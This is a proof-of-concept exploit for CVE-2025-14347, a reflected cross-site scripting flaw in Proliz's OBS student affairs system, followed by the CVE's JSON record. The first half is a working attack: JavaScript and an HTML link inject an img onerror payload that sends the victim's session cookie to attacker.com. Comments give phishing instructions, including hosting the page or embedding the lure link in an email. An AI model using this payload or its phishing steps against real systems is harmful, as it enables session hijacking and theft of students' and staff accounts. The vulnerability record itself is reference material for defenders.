CVE-2025-14347

<!-- CVE-2025-14347 Reflected XSS PoC --> <!-- Target: OBS (Student Affairs Information System) before version 26.5009 --> <!-- Malicious URL that triggers the XSS --> <!-- Replace TARGET_URL with the actual OBS application URL --> <script> function generateXSSPayload() { const targetUrl = "TARGET_URL"; // XSS payload using img onerror event const xssPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">'; // Construct malicious URL const maliciousUrl = targetUrl + '/page?' + encodeURIComponent('param') + '=' + encodeURIComponent(xssPayload); console.log('Malicious URL:', maliciousUrl); return maliciousUrl; } // Display the generated malicious URL console.log('CVE-2025-14347 PoC - Reflected XSS in OBS'); console.log('Generated malicious URL:', generateXSSPayload()); </script> <!-- HTML PoC for social engineering --> <!-- 1. Host this HTML page or embed in phishing email 2. When victim clicks the link, XSS payload executes 3. Victim's session cookie is sent to attacker controlled server --> <a href='TARGET_URL/page?param=<img src=x onerror="document.location=\'https://attacker.com/log?c=\'+document.cookie">'>Click here for important update</a>

{"cve": {"id": "CVE-2025-14347", "sourceIdentifier": "[email protected]", "published": "2025-12-17T09:15:51.467", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Proliz Software Ltd. OBS (Student Affairs Information System)0 allows Reflected XSS.This issue affects OBS (Student Affairs Information System)0: before 26.5009."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0463", "source": "[email protected]"}]}}